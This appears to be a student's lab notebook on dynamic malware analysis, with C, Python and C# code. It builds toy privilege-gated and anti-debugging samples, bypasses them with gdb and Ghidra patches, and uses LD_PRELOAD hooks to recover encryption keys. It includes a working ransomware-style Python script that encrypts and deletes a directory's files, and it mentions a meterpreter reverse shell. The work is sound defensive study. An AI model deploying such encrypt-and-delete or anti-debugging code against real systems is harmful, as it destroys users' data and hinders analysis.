Create malware that has requirements that must be met before it is executed. Open the code in a debugger and alter the execution to bypass the checks.
First stage just create a binary that checks for the permissions of the user, if the user has admin privs it will create a flag.
Second stage will be adding anti-debugging check.
The malware is simple, check if the user executed the exe with admin privlidges, if so, create a flag in the users docmuents folder. The final iteration will encode the payload.
Code: Is admin?
#include <stdio.h>
#include <windows.h>
#include <shlobj.h>
int main() {
int isAdmin = system("net session > nul 2>&1");
if (isAdmin == 0) {
printf("You have admin rights.\n");
// Define the flag content
const char* flag = "FLAG{your_flag_here}";
// Get the path to the user's Documents folder
WCHAR documentsPath[MAX_PATH];
if (S_OK == SHGetFolderPathW(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, documentsPath)) {
// Construct the path to the file in the Documents folder
WCHAR filePath[MAX_PATH];
wcscpy(filePath, documentsPath);
wcscat(filePath, L"\\flag.txt");
// Open the file for writing
FILE* file = _wfopen(filePath, L"w");
if (file != NULL) {
// Write the flag content to the file
fprintf(file, "%s\n", flag);
fclose(file);
wprintf(L"Flag file created in Documents folder: %ls\n", filePath);
} else {
printf("Failed to create the flag file.\n");
}
} else {
printf("Failed to get the Documents folder path.\n");
}
} else {
printf("You do not have admin rights.\n");
}
return 0;
}
We use the net session as a proxy to determine privs.
Now lets compile and run on the target machine. The expected outcome is the flag should only be created when run with elevated privs.
This shows the check is working as intended. Lets base64 encode the payload to spice up the challenge a little, if not strings would easily reveal the flag.
Code: Is admin(encoded)?
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
char* base64Decode(const char* input) {
DWORD len = 0;
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &len, NULL, NULL)) {
return NULL;
}
char* buffer = (char*)malloc(len);
if (buffer == NULL) {
return NULL;
}
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, (BYTE*)buffer, &len, NULL, NULL)) {
free(buffer);
return NULL;
}
return buffer;
}
int main() {
int isAdmin = system("net session > nul 2>&1");
if (isAdmin == 0) {
printf("You have admin rights.\n");
// Define the Base64 encoded flag content
const char* base64EncodedFlag = "VmlWaXtHaG9zdF9Jbl9UaGVfQm94fQo=";
// Decode the Base64 encoded flag
char* decodedFlag = base64Decode(base64EncodedFlag);
// Get the path to the user's Documents folder
WCHAR documentsPath[MAX_PATH];
if (S_OK == SHGetFolderPathW(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, documentsPath)) {
// Construct the path to the file in the Documents folder
WCHAR filePath[MAX_PATH];
wcscpy(filePath, documentsPath);
wcscat(filePath, L"\\flag.txt");
// Open the file for writing
FILE* file = _wfopen(filePath, L"w");
if (file != NULL) {
// Write the decoded flag content to the file
fprintf(file, "%s\n", decodedFlag);
fclose(file);
wprintf(L"Flag file created in Documents folder: %ls\n", filePath);
} else {
printf("Failed to create the flag file.\n");
}
} else {
printf("Failed to get the Documents folder path.\n");
}
free(decodedFlag); // Free the dynamically allocated memory
} else {
printf("You do not have admin rights.\n");
}
return 0;
}
Compile
Show flag is not still not created for normal privs
Now that we have a piece of 'malware' working as intended and we know exactly how it should work, we can use dynamic analysis and debugging. In reality there may be many more checks a piece of malware uses before deploying itself. It may also check if the host is connected to the internet, if the host is a vm, GPU capabilities, many things. The ideal situation for this is if we cannot get the payload through static analysis.
The goal of this exercise will be to open the malware in debugger as the normal user, but manually alter the code which performs the check on the isAdmin function so the flag will be deployed for the normal user.
First step is finding the cmp to enter the admin branch of the logic. For our purposes we can search string for admin and look at the first jmp that comes before that string. Right Click -> Search for -> Current Module -> String References
Click the line with cmp add a break point
This screenshot is the heart of the problem. The isadmin function will return 0, when encoded.exe it is ran when a priviliged user. We can see at the bottom of the screenshot that the current output of the function = 2. 2 != 0 so we arnt getting the the branch we want. We can change this.
click on that line, press space, change value to 2. Now 2 == 2 so we will enter into the is admin branch.
Last screenshot shows documents folder was empty before debugging was ran and the flag in the folder after it was ran with normal privs.
Becasue we made the malware we knew 2 keys that typically make the process much more difficult.
- The logic behind the check
- the location of the created file
Typically malware isnt going to tell you what or where it just did what it did. We can find the location of the create file by using procmon
Filter -> Process Name is 'encoded.exe'
shell script
Code: Is admin+print flag linux
#!/bin/bash
# Check if the user has administrative privileges
if [[ $(id -u) -eq 0 ]]; then
echo "You have administrative privileges."
# Define the flag content
flag="FLAG{your_flag_here}"
# Get the user's home directory
homeDir=$(eval echo "~$USER")
# Construct the path to the flag file in the home dir
filePath="$homeDir/flag.txt"
# Write the flag content to the file
echo "$flag" > "$filePath"
echo "Flag file created in the home directory: $filePath"
else
echo "You do not have administrative privileges."
fi
in c to compile to use gcc
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h>
int main() {
// Get the effective user ID (EUID)
uid_t euid = geteuid();
// Check if the user has administrative privileges
if (euid == 0) {
printf("You have administrative privileges.\n");
// Define the flag content
const char* flag = "FLAG{your_flag_here}";
// Get the user's home directory
struct passwd *pw = getpwuid(getuid());
const char *homeDir = pw->pw_dir;
printf("User's home directory is: %s\n", homeDir);
// Construct the path to the flag file in the home dir
char filePath[256];
snprintf(filePath, sizeof(filePath), "%s/flag.txt", homeDir);
printf("Flag file path is: %s\n", filePath);
// Open the file for writing
FILE* file = fopen(filePath, "w");
if (file != NULL) {
// Write the flag content to the file
fprintf(file, "%s\n", flag);
fclose(file);
printf("Flag file created in the home directory: %s\n", filePath);
} else {
printf("Failed to create the flag file.\n");
}
} else {
printf("You do not have administrative privileges.\n");
}
return 0;
}
Show functionality is working as intended
adminfile2 was compiled with debugging to help illustrate exactly where we are in the c code.
gcc -g -o admin_file2 admin_file2.c
On the top of the screenshot we can see the cmp, whatever is in [rbp-0x4] will be compared to 0x0.
2/3 down the screenshot we see the current value being held, 1000.
x is the examine command.
/dw specifies the format for displaying the value (signed decimal word, which is a 32-bit integer).
$rbp-0x4 is the address you want to examine.
We can overwrite this with the next command and continue.
This command casts the address $rbp-0x4 to a pointer to an integer (int*) and then sets the value at that address to 0.
Finally we can see the bypass worked and the flag was printed to the curent users desktop
Just like last time we have an issue malware wont tell you where it created a file. On linux we can use strace. Here we use the trace=file, process is an option too.
Running strace and the program with normal privs yields the expected results.
Running as root we see an openat containing the flag.
Anti-anti-debugging techniques are methods used to circumvent or disable anti-debugging measures put in place by malware.
Debuggers work by tracing other processes. When a debugger attaches to a process, it becomes the tracer, and its PID will be reflected in the TracerPid field of the status file of the process being debugged.
Programs can check their own TracerPid value by reading /proc/self/status. Here, self is a symbolic link that points to the process's own directory in /proc.
The final script that was used in the analysis can be found at the end of this section.
Create script, compile, show functionality is working as intended.
Alright this is what we want, if the binary does not detect a debugger it will proceed to check the users permissions.
Now open the script with gdb and set a break point on the debugger_check.
Disassemble the function and find the test, we can change eax here.
Here we can see we are able to pass the debugger check and move on to the is_root check.
Here we can use the same idea to bypass this is_root check.
Debugging in ghidra is nice becasue we can patch the binary. This will allow us to make a change in the funcationality and run it, without needing to manually keep changing values in gdb.
First lets replicate the manual debugging we did in gdb to show how these things work in ghidra. After that we will patch the binary.
Click bug and run -> gdb in vm
We can see gef on the far right panel, Here we cant EAX just as we did in GDB and we see we can be in ghidra and bypass the debugger check.
Right click set breakpoint - SW_EXECUTE
In the gdb panel on the right, we can alter eax just and we did before. After contining we can see just as before we bypassed the is_debugger check.
Change the binary
We can see here it will only take the jump to the desired function if does != 0.
Right click and select Patch Instruction.
Here was can champ JNE to JMP, this means the previous test doesnt matter, the program will now always take that jump.
Save new binary
File -> Export Program -> Format(Original File)
Now we can run strace as sudo, notice debugger not detected.
In this final set of images, I re-made the malware to drop a flag instead of just printing they had root permisions. This is more realistic. I would use this when a piece of rasomware encrypts files, if we can see this process we can get the key and decrypt the files. But if the maleware detects it is being watched it will not execute the encryption and we cant get the key. Also there is a good chance the malware is obfuscated so static analysis will not easily yeild the key.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// Function to check for a debugger
int is_debugger_present() {
FILE *fp;
char buffer[1024];
char *tracer_pid;
fp = fopen("/proc/self/status", "r");
if (fp == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
// Read each line of /proc/self/status
while (fgets(buffer, sizeof(buffer), fp)) {
// Check for TracerPid line
if (strstr(buffer, "TracerPid")) {
tracer_pid = strchr(buffer, ':');
tracer_pid++; // Move past the colon
while (*tracer_pid == '\t' || *tracer_pid == ' ') {
tracer_pid++; // Skip whitespace
}
fclose(fp);
return atoi(tracer_pid) != 0; // Debugger is present if TracerPid != 0
}
}
fclose(fp);
return 0; // No debugger found
}
// Function to create a flag in the root directory
void create_flag_in_root() {
FILE *fp;
// Define the path and filename for the flag
const char *flag_path = "/root/flag.txt";
fp = fopen(flag_path, "w");
if (fp == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
// Write a message or actual flag value to the file
fprintf(fp, "Vivi{GhostInTheBox}\n");
fclose(fp);
printf("Flag created at %s\n", flag_path);
}
// Function to check if the user is root
void check_if_user_is_root() {
if (geteuid() == 0) {
printf("User is root.\n");
create_flag_in_root(); // Create the flag since user is root
} else {
printf("User is not root.\n");
}
}
int main() {
if (is_debugger_present()) {
printf("Process is being debugged!\n");
} else {
printf("No debugger detected. Performing admin check...\n");
check_if_user_is_root();
}
return 0;
}
Yes! the whole object of this has been to call a function that we should be able to call becasue we are debugging.
JUMP!
This is the new function that allows us to not even worry about the debugger check, we were able to JUMP right over it.
Familar step of setting up a breakpoint to pass the admin check.
Here is the first time we are getting this Permission denied, because we tried to plant a flag in root, as kali user. In most situations we don't want to see this. In this situation this is a sign that we got to the place we were not supposed to be. From here we could run strace and we what the program wanted to do.
Alright so we bypassed it, a couple different ways. Are there more? Yes!
Lets go back to the logic behind the debugger check. It check a file to see the value of Trcerpid variable. 1 means its being debugged 0 it is not. What if we just created a static file with the tracer pid as 0, then changed the binary to reference this file instead of /proc/self/status?
Open ghidra debugging
C code showing open of proc/self/status
In Assembly
We can find where the string is being held
Right click -> patch data
Suggest to enter a string the same length as the original
Notice functions in assembly and C are updated in ghidra
Save the patched binary to an Original File as before.
Now that we have the binary patched we need to actually set up the file that will be called. This is what the format should look like when referecing the file and getting the Tracerpid.
Create the fake file
Run in debugger
Again bypass the debugger check.
We have been able to bypass checks from a really simple binary. How would we use dynamic analysis on something we might see in the wild? Is this even applicable?
Create a meterpreter reverse shell.
- Use dynamic analysis to try to find the IP of the attacker.
- Can we decode the commands?
First lets make the shell.
Set up listener, go back run shell,
Alright, shell works as expected.
Running in strace, there are no debugging mechanisms.
The ip and port of the connection back are obvious.
The commands are obfuscated. I ran getuid from the attacker machine. Knowing this we can see the geteuid32 and ("/etc/passwd") called and we can make assumtions about the following screenshot.
Doing lockpick2 we were never able to see the key or iv in strace when running the encryptor binary.
The LD_PRELOAD technique leverages the dynamic linker, which is part of the Linux operating system. When a dynamically linked executable runs, the linker is responsible for loading all shared libraries that the program requires. The LD_PRELOAD environment variable specifies a list of additional, user-specified, shared libraries to be loaded before all others. This method allows us to inject custom code, such as function hooks, into a program's runtime environment.
By creating a custom shared library that defines a function with the same name as a library function used by the target program (in this case, EVP_EncryptInit_ex from OpenSSL), we can intercept calls to the original function. When the dynamic linker processes the LD_PRELOAD variable, it loads our custom library first, and our version of the function gets called instead of the one from the standard library.
When our hooked version of EVP_EncryptInit_ex is called, it can perform additional actions such as logging parameters like the encryption key and IV, before calling the actual OpenSSL library function to continue the encryption process as intended.
This hooking method is powerful for dynamically linked binaries as it allows real-time monitoring or modification of function behavior without altering the original binary. However, it does not work with statically linked binaries, as these binaries do not use the dynamic linker at runtime and have all their dependencies resolved and included during the build process.
Create the encryptor and show functioning as expected
We can wee the key and iv were intercepted.
Compare to what we see in ltrace
We can see the function being called and the pointer to the memory, but we cant see the values.
Code: Openssl hook
#include <stdio.h>
#include <openssl/evp.h>
#include <dlfcn.h>
int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher, ENGINE *engine, const unsigned char *key, const unsigned char *iv) {
// Original function pointer
static int (*original_EVP_EncryptInit_ex)(EVP_CIPHER_CTX *, const EVP_CIPHER *, ENGINE *, const unsigned char *, const unsigned char *) = NULL;
if (!original_EVP_EncryptInit_ex) {
original_EVP_EncryptInit_ex = dlsym(RTLD_NEXT, "EVP_EncryptInit_ex");
}
// Log the key and IV
if (key) {
printf("Key: ");
for (int i = 0; i < EVP_CIPHER_key_length(cipher); ++i) {
printf("%02x", key[i]);
}
printf("\n");
}
if (iv) {
printf("IV: ");
for (int i = 0; i < EVP_CIPHER_iv_length(cipher); ++i) {
printf("%02x", iv[i]);
}
printf("\n");
}
// Call the original function
return original_EVP_EncryptInit_ex(ctx, cipher, engine, key, iv);
}
// Compile this with:
// gcc -shared -fPIC -o hook.so hook.c -ldl
Code: encryptor code
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
int encrypt(FILE *ifp, FILE *ofp, unsigned char *key, unsigned char *iv) {
EVP_CIPHER_CTX *ctx;
unsigned char buffer[1024], cipher[1024 + EVP_MAX_BLOCK_LENGTH];
int len;
int ciphertext_len = 0;
// Create and initialise the context
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
// Initialise the encryption operation.
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();
// Provide the message to be encrypted, and obtain the encrypted output.
while(1) {
len = fread(buffer, 1, 1024, ifp);
if(len <= 0) break;
if(1 != EVP_EncryptUpdate(ctx, cipher, &len, buffer, len))
handleErrors();
fwrite(cipher, 1, len, ofp);
ciphertext_len += len;
}
// Finalise the encryption.
if(1 != EVP_EncryptFinal_ex(ctx, cipher, &len)) handleErrors();
fwrite(cipher, 1, len, ofp);
ciphertext_len += len;
// Clean up
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <input file> <output file>\n", argv[0]);
return 1;
}
// Define a 256-bit key (32 bytes)
unsigned char key[32] = {
0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10,
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
};
// Define a 128-bit IV (16 bytes)
unsigned char iv[16] = {
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
};
FILE *ifp = fopen(argv[1], "rb");
if (!ifp) {
perror("Unable to open input file");
return 1;
}
FILE *ofp = fopen(argv[2], "wb");
if (!ofp) {
perror("Unable to open output file");
fclose(ifp);
return 1;
}
// Load the necessary cipher
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
// Encrypt the file
encrypt(ifp, ofp, key, iv);
// Close files
fclose(ifp);
fclose(ofp);
// Clean up
EVP_cleanup();
ERR_free_strings();
return 0;
}
We hooked openssl and were able to read the key and iv, that was cool. What else can we do?
memcpy is a standard library function in C that copies a specified number of bytes from one memory location to another. Malware often uses memcpy to move data around, which can include sensitive information, configuration data, or decrypted payloads.
reminder what this looks like in ltrace, we see it being used and the memory, but we want to see the values.
Code: memcpy hook
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h> // For isprint()
typedef void *(*original_memcpy_t)(void *dest, const void *src, size_t n);
static original_memcpy_t original_memcpy = NULL;
void *memcpy(void *dest, const void *src, size_t n) {
// Ensure we have the original function
if (!original_memcpy) {
original_memcpy = (original_memcpy_t)dlsym(RTLD_NEXT, "memcpy");
}
// Create a buffer to store the ASCII representation
char ascii_representation[n + 1]; // +1 for the null terminator
for (size_t i = 0; i < n; ++i) {
unsigned char byte = ((unsigned char*)src)[i];
ascii_representation[i] = isprint(byte) ? byte : '.'; // Append ASCII or '.'
}
ascii_representation[n] = '\0'; // Null-terminate the string
// Print the ASCII string
printf("Intercepted ASCII data: %s\n", ascii_representation);
// Call the original function
return original_memcpy(dest, src, n);
}
// Compile with:
// gcc -fPIC -shared -o memcpy_hook.so memcpy_hook.c -ldl
The memcmp function is a standard library function in C that compares the first n bytes of two blocks of memory.
Was used on pick crackme100. First one was broken so have 2 similar scripts.
Code: memcmp hook 1
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h>
typedef int (*original_memcmp_t)(const void *, const void *, size_t);
static original_memcmp_t original_memcmp;
int memcmp(const void *s1, const void *s2, size_t n) {
// Ensure we have the original function
if (!original_memcmp) {
original_memcmp = (original_memcmp_t)dlsym(RTLD_NEXT, "memcmp");
}
// Print the compared data as clear text characters if they are printable
printf("Compared data (s1): ");
for (size_t i = 0; i < n; ++i) {
unsigned char c = ((unsigned char *)s1)[i];
putchar(isprint(c) ? c : '.'); // Print a dot for non-printable characters
}
printf("\n");
printf("Compared data (s2): ");
for (size_t i = 0; i < n; ++i) {
unsigned char c = ((unsigned char *)s2)[i];
putchar(isprint(c) ? c : '.'); // Print a dot for non-printable characters
}
printf("\n");
// Call the original memcmp function
return original_memcmp(s1, s2, n);
}
// Compile with:
// gcc -fPIC -shared -o memcmp_hook.so memcmp_hook.c -ldl
Code: memcmp hook 2
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <ctype.h>
typedef int (*original_memcmp_t)(const void *, const void *, size_t);
static original_memcmp_t original_memcmp;
int memcmp(const void *s1, const void *s2, size_t n) {
// Ensure we have the original function
if (!original_memcmp) {
original_memcmp = (original_memcmp_t)dlsym(RTLD_NEXT, "memcmp");
}
// Print the compared data in hexadecimal
printf("Compared data (s1): ");
for (size_t i = 0; i < n; ++i) {
printf("%02X", ((unsigned char *)s1)[i]);
}
printf("\n");
printf("Compared data (s2): ");
for (size_t i = 0; i < n; ++i) {
printf("%02X", ((unsigned char *)s2)[i]);
}
printf("\n");
// Call the original memcmp function
return original_memcmp(s1, s2, n);
}
// Compile with:
// gcc -fPIC -shared -o memcmp_hook.so memcmp_hook.c -ldl
execve is another stadard c library. It is used to run a program by path/file name. In addition to the binary being ran, the function takes an input of the arguments for the new binary to run.
To demonstrate this I create a small 'enumeration' script.
The run_command
function just concats the results to an output.txt file.
Run malware showing nothing can be seen in console. Run with hook and the output of the hook. Compare what we caught with our hook compared to what we see in strace below.
Some contents of the malwares output file
what we see in strace.
A better strace command could have found it
-f
follow forks
Code: execve hook
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
typedef int (*original_execve_t)(const char *filename, char *const argv[], char *const envp[]);
int execve(const char *filename, char *const argv[], char *const envp[]) {
original_execve_t original_execve;
original_execve = (original_execve_t)dlsym(RTLD_NEXT, "execve");
// Log the command being executed
FILE* log_file = fopen("/tmp/execve_log.txt", "a");
if (log_file != NULL) {
fprintf(log_file, "Executing command: %s\n", filename);
for (int i = 0; argv[i] != NULL; i++) {
fprintf(log_file, "Arg[%d]: %s\n", i, argv[i]);
}
fprintf(log_file, "\n");
fclose(log_file);
}
return original_execve(filename, argv, envp);
}
// Compile with:
// gcc -fPIC -shared -o hook_execve.so hook_execve.c -ldl
Python is different, not compiled like C. Well it can be, but its often not. While it is usally plain text, it can be obfuscated like powershell scripts. So, how would we run Dynamic analysis on python code. Lets create some ransomware and find out.
Like always show it is working as expected.
I ended up removing the admin check, running sudo + strace was confusing.
Running strace and ltrace on python.
You may have heard python is a highlevel language and depends on alot of more fundamental languages, now we can see it.
We were able to find the call to get random which creates the key and iv.
This was easy becasue we created the malware and knew what we were looking for.
Things we can see scanning that are helpful are
Thinking back to the LD_PRELOAD trick, we were able to incercept the clear text values becasue we had some control over the libraries the binary was calling. Lets use a similar idea with the python library. If python is going to call libraries we control we can just add print statements to them, printing the values that we care about. In this instance we of course want clear text key and iv.
Running the 'malware' we can see that it indeed prints the key and iv being used. This doesnt seem too helpful because our malware already prints the key and iv, isnt obfuscated and we can see it using strace, but use your imagination.
There should be a lingering question. looking at the python library it was calling a lot of low level libriaries and I even think I saw openssl. Why cant we just use the LD_PRELOAD trick?
I tried the previous hook and it failed. After seeing the python cryptography documentation it makes me think it is still possible.
We need to find what openssl function the python cryptography code is calling. Python a verbose mode and also has options to trace itself.
python3 -v ransomware.py
Code: Python Ransomware Example
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from os import urandom
# Generate a random key and initialization vector (IV)
key = urandom(32) # AES-256 requires a 32-byte key
iv = urandom(16) # AES block size for CBC mode is 16 bytes
def is_user_admin():
# Check if the current user ID is 0 (root)
return os.geteuid() != 0
def encrypt_file(file_path, key, iv):
# Create a cipher object using the key and IV
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# Read the contents of the file to encrypt
with open(file_path, 'rb') as f:
file_contents = f.read()
# Apply PKCS7 padding to the file contents
padder = padding.PKCS7(128).padder()
padded_data = padder.update(file_contents) + padder.finalize()
# Encrypt the padded data
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
# Save the encrypted data back to the file
with open(file_path + '.enc', 'wb') as f:
f.write(encrypted_data)
def read_and_delete_files(directory, key, iv):
if not os.path.isdir(directory):
print(f"The directory {directory} does not exist.")
return
# Read every file in the directory
for filename in os.listdir(directory):
file_path = os.path.join(directory, filename)
# Skip directories, only read files
if os.path.isfile(file_path):
encrypt_file(file_path, key, iv)
# Delete the file after reading
os.remove(file_path)
print(f"File {filename} has been deleted.")
if __name__ == "__main__":
# Specify the directory
fake_directory = "/ouch"
if is_user_admin():
# If the user is admin, read and delete files
read_and_delete_files(fake_directory, key, iv)
print(f"Key: {key.hex()}")
print(f"IV: {iv.hex()}")
else:
print("This script requires admin privileges to run.")
I am stuck here.
Is Python's interpreted nature impacting my ability to use LD_PRELOAD to hook into the OpenSSL functions as I did with the compiled C code? Am I possibly attempting to hook the wrong part of the library? I'm considering whether the cryptography library’s use of the _openssl.abi3.so file—an ABI-compatible layer—might be related to the issue.
Last avenue to go down with python is to actually compile it and see what it looks like.
What is this LD? what other options do we have?
Doing some more research I am surpirsed to not see this being used for investigating malware. To this point I can only find instances of red team abusing it to load in their own libraries and or use it with sudo to priv esc. Maybe a program uses a library to get a random number, we could replace this library with one of our own and return a constant number.
File to check admin rights and create flag if admin.
Create with dotnet
Show it works when ran as Administrator
Code: C# File Create if admin Example
using System;
using System.IO;
using System.Security.Principal;
class Program
{
static void Main()
{
// Check for administrative privileges
bool isAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
if (isAdmin)
{
Console.WriteLine("You have admin rights.");
// Define the flag content
string flag = "Vivis{Ghost_In_The_Box}";
// Get the path to the user's Documents folder
string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
// Construct the path to the file in the Documents folder
string filePath = Path.Combine(documentsPath, "flag.txt");
// Open the file for writing
try
{
File.WriteAllText(filePath, flag + Environment.NewLine);
Console.WriteLine($"Flag file created in Documents folder: {filePath}");
}
catch (Exception ex)
{
Console.WriteLine($"Failed to create the flag file: {ex.Message}");
}
}
else
{
Console.WriteLine("You do not have admin rights.");
}
}
}
Similar piece of 'malware', encyrpt a file if admin
Create file to be decrypted
Run it
Show decryption
Code: C# Encrypt file if admin Example
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
class Program
{
static void Main()
{
// Check if running as root (admin on Linux)
if (IsRunningAsRoot())
{
Console.WriteLine("Running as root. Encrypting file...");
// Path to the file you want to encrypt
string filePathToEncrypt = "/home/kali/Desktop/flag.txt";
// Path where the encrypted file will be saved
string encryptedFilePath = "/home/kali/Desktop/flag.enc";
try
{
// Read the content to encrypt
byte[] contentToEncrypt = File.ReadAllBytes(filePathToEncrypt);
// Encrypt the content
byte[] encryptedContent = Encrypt(contentToEncrypt);
// Write the encrypted content to a new file
File.WriteAllBytes(encryptedFilePath, encryptedContent);
Console.WriteLine($"File encrypted and saved to: {encryptedFilePath}");
}
catch (Exception ex)
{
Console.WriteLine($"Failed to encrypt the file: {ex.Message}");
}
}
else
{
Console.WriteLine("Not running as root. Exiting...");
}
}
static bool IsRunningAsRoot()
{
return Environment.GetEnvironmentVariable("USER") == "root";
}
static byte[] Encrypt(byte[] clearBytes)
{
using (Aes aesAlg = Aes.Create())
{
// Set key and IV. In a real-world application, you would need to securely store these values
aesAlg.Key = new byte[] {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
aesAlg.IV = new byte[] {0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(clearBytes, 0, clearBytes.Length);
csEncrypt.FlushFinalBlock();
}
return msEncrypt.ToArray();
}
}
}
}